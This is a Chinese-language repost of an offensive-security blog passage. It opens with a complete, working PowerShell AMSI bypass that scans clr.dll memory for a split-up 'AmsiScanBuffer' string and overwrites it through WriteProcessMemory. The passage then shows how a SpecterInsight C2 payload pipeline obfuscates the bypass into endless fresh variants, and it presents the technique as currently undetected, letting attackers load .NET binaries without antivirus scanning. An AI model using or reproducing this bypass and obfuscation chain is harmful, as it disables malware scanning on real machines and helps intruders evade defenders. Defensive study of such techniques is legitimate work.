if ($PSVersionTable.PSVersion.Major -gt 2) {    # Create module builder    $DynAssembly = New-Object System.Reflection.AssemblyName("Win32")    $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False)
    # Define MEMORY_INFO_BASIC struct    $TypeBuilder = $ModuleBuilder.DefineType(        "Win32.MEMORY_INFO_BASIC",        [System.Reflection.TypeAttributes]::Public +        [System.Reflection.TypeAttributes]::Sealed +        [System.Reflection.TypeAttributes]::SequentialLayout,        [System.ValueType]    )    [void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)    [void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public)    [void]$TypeBuilder.DefineField("AllocationProtect", [Int32], [System.Reflection.FieldAttributes]::Public)    [void]$TypeBuilder.DefineField("RegionSize", [IntPtr], [System.Reflection.FieldAttributes]::Public)    [void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public)    [void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public)    [void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public)    $MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType()
    # Define SYSTEM_INFO struct    $TypeBuilder = $ModuleBuilder.DefineType(        "Win32.SYSTEM_INFO",        [System.Reflection.TypeAttributes]::Public +        [System.Reflection.TypeAttributes]::Sealed +        [System.Reflection.TypeAttributes]::SequentialLayout,        [System.ValueType]    )    [void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public)    [void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public)    [void]$TypeBuilder.DefineField("dwPageSize", [UInt32], [System.Reflection.FieldAttributes]::Public)    [void]$TypeBuilder.DefineField("lpMinimumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)    [void]$TypeBuilder.DefineField("lpMaximumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)    [void]$TypeBuilder.DefineField("dwActiveProcessorMask", [IntPtr], [System.Reflection.FieldAttributes]::Public)    [void]$TypeBuilder.DefineField("dwNumberOfProcessors", [UInt32], [System.Reflection.FieldAttributes]::Public)    [void]$TypeBuilder.DefineField("dwProcessorType", [UInt32], [System.Reflection.FieldAttributes]::Public)    [void]$TypeBuilder.DefineField("dwAllocationGranularity", [UInt32], [System.Reflection.FieldAttributes]::Public)    [void]$TypeBuilder.DefineField("wProcessorLevel", [UInt16], [System.Reflection.FieldAttributes]::Public)    [void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public)    $SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType()
    # P/Invoke Methods    $TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class")    $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))    $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError")    $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder(        $DllImportConstructor,        "kernel32.dll",        [Reflection.FieldInfo[]]@($SetLastError),        @($True)    )
    # Define [Win32.Kernel32] methods    # VirtualProtect    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod(        "VirtualProtect",        "kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [bool],        [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto    )    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
    # GetCurrentProcess    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod(        "GetCurrentProcess",        "kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [IntPtr],        [Type[]]@(),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto    )    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
    # Additional P/Invoke methods...    # ... previous code ...
    # VirtualQuery    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod(        "VirtualQuery",        "kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [IntPtr],        [Type[]]@([IntPtr], [Win32.MEMORY_INFO_BASIC].MakeByRefType(), [uint32]),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto    )    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
    # GetSystemInfo    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod(        "GetSystemInfo",        "kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [Int32],        [Type[]]@([Win32.SYSTEM_INFO].MakeByRefType()),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto    )    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
    # GetMappedFileName    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod(        "GetMappedFileName",        "psapi.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [Int32],        [Type[]]@([IntPtr], [IntPtr], [System.Text.StringBuilder], [uint32]),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto    )    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
    # ReadProcessMemory    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod(        "ReadProcessMemory",        "kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [Int32],        [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto    )    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
    # WriteProcessMemory    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod(        "WriteProcessMemory",        "kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [Int32],        [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto    )    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
    $Kernel32 = $TypeBuilder.CreateType()
    # Build signature    $a = "Ams"    $b = "iSc"    $c = "anBuf"    $d = "fer"    $signature = [System.Text.Encoding]::UTF8.GetBytes($a + $b + $c + $d)    $hProcess = [Win32.Kernel32]::GetCurrentProcess()
    # Get system information    $sysInfo = New-Object Win32.SYSTEM_INFO    [void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo)
    # List of memory regions to scan    $memoryRegions = @()    $address = [IntPtr]::Zero
    # Scan through memory regions    while ($address.ToInt64() -lt $sysInfo.lpMaximumApplicationAddress.ToInt64()) {        $memInfo = New-Object Win32.MEMORY_INFO_BASIC        if ([Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))) {            $memoryRegions += $memInfo        }        # Move to the next memory region        $address = New-Object IntPtr($memInfo.BaseAddress.ToInt64() + $memInfo.RegionSize.ToInt64())    }
    # Process memory regions    $count = 0    foreach ($region in $memoryRegions) {        # Check if the region is readable and writable        if (-not (IsReadable $region.Protect $region.State)) {            continue        }
        # Check if the region contains a mapped file        $pathBuilder = New-Object System.Text.StringBuilder $MAX_PATH        if ([Win32.Kernel32]::GetMappedFileName($hProcess, $region.BaseAddress, $pathBuilder, $MAX_PATH) -gt 0) {            $path = $pathBuilder.ToString()
            if ($path.EndsWith("clr.dll", [StringComparison]::InvariantCultureIgnoreCase)) {                # Scan the region for the pattern                $buffer = New-Object byte[] $region.RegionSize.ToInt64()                $bytesRead = 0                [void][Win32.Kernel32]::ReadProcessMemory($hProcess, $region.BaseAddress, $buffer, $buffer.Length, [ref]$bytesRead)
                for ($k = 0; $k -lt ($bytesRead - $signature.Length); $k++) {                    $found = $true                    for ($m = 0; $m -lt $signature.Length; $m++) {                        if ($buffer[$k + $m] -ne $signature[$m]) {                            $found = $false                            break                        }                    }
                    if ($found) {                        $oldProtect = 0                        if (($region.Protect -band $PAGE_READWRITE) -ne $PAGE_READWRITE) {                            [void][Win32.Kernel32]::VirtualProtect($region.BaseAddress, $buffer.Length, $PAGE_EXECUTE_READWRITE, [ref]$oldProtect)                        }
                        $replacement = New-Object byte[] $signature.Length                        $bytesWritten = 0                        [void][Win32.Kernel32]::WriteProcessMemory($hProcess, [IntPtr]::Add($region.BaseAddress, $k), $replacement, $replacement.Length, [ref]$bytesWritten)                        $count++
                        if (($region.Protect -band $PAGE_READWRITE) -ne $PAGE_READWRITE) {                            [void][Win32.Kernel32]::VirtualProtect($region.BaseAddress, $buffer.Length, $region.Protect, [ref]$oldProtect)                        }                    }                }            }        }    }}

使用 SpecterInsight Payload Pipeline 混淆 AMSI 绕过

通常情况下,我喜欢只编写一次 payload,然后通过混淆来绕过防御。我不喜欢手动用上百万种不同的方式来制作相同的 payload。为了解决这个问题,我利用了 SpecterInsight 的 Payload Pipeline 功能。这使我能够在 C2 服务器上定义一个 PowerShell 脚本,用于指定如何生成新的 payload。每当运行 pipeline 时,它都会执行你的脚本,输出一个全新的混淆后的 payload。让我们一起来看看如何创建一个用于生成新的混淆 AMSI 绕过的 payload pipeline。

首先,我们需要定义参数块。参数块会被 SpecterInsight UI 解析,并为我们想要提供给 pipeline 的任何参数生成一个友好的用户界面。在这种情况下,我只是希望操作员能够选择他们想要使用的 AMSI 绕过类型,但我会将其默认设置为我们刚刚创建的那个。

param( [Parameter(Mandatory = $false, HelpMessage = "The specific AMSI bypass technique to use.")] [SpecterInsight.Obfuscation.PowerShell.SourceTransforms.AmsiBypass.PwshAmsiBypassTechnique]$Technique = 'AmsiScanBufferStringReplace')

上述代码会在下方显示为一个下拉菜单:

修改 CLR.DLL 内存的新 AMSI 绕过技术

接下来,我们调用内置于 SpecterInsight 的 Get-PwshAmsiBypass cmdlet 来生成指定的绕过技术。

$bypass = Get-PwshAmsiBypass -Technique $Technique;

接下来,我们定义混淆堆栈。我们本质上是将我们的绕过代码通过一系列 SpecterInsight cmdlets 进行处理,这些 cmdlets 可以接收任何 PowerShell 脚本并对其应用指定的混淆技术。例如,Obfuscate-PwshVariables cmdlet 会随机重命名变量。这样做的理念是,经过 Obfuscate-PwshVariables 处理后的脚本在功能上与原始脚本完全等同,但不会与之共享任何常见模式。在本例中,我们将删除注释,为可疑的 cmdlets(如 Invoke-Expression)生成别名,重命名变量,混淆字符串,并重命名我们定义的所有函数。

$bypass = $bypass | Obfuscate-PwshRemoveComments;$bypass = $bypass | Obfuscate-PwshCmdlets -Filter @(".*iex.*", ".*icm.*", "Add-Type");$bypass = $bypass | Obfuscate-PwshVariables;$bypass = $bypass | Obfuscate-PwshStrings;$bypass = $bypass | Obfuscate-PwshFunctionNames;

最后,我们将混淆后的绕过代码写入管道。SpecterInsight C2 服务器会将写入管道的任何内容作为生成的 payload。

$bypass;

让我们生成一些 payload 来演示 pipeline 是如何工作的。我们转到"Text Output"选项卡,然后点击屏幕顶部的"Test Pipeline"按钮。随后我们会看到一个新生成的 payload 出现在输出选项卡中。你可以通过继续点击"Test Pipeline"按钮来生成更多不同的 payload。

修改 CLR.DLL 内存的新 AMSI 绕过技术

结论

在这篇文章中,我介绍了一种新的、目前未被检测到的 AMSI 绕过技术,它使攻击者能够在没有防病毒扫描或干扰的情况下反射式加载 .NET 二进制文件。我详细介绍了开发这个绕过技术的过程,并提出了另外两种绕过 AMSI 的思路。最后,我展示了使用 C、C# 和 PowerShell 的三种不同实现方式。最终,我还讨论了部署时的注意事项,以及如何将这个绕过技术集成到 SpecterInsight 中作为 payload pipeline 来实现自动化混淆。

原文始发于微信公众号(securitainment):修改 CLR.DLL 内存的新 AMSI 绕过技术

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月25日11:54:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   修改 CLR.DLL 内存的新 AMSI 绕过技术https://cn-sec.com/archives/3433900.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息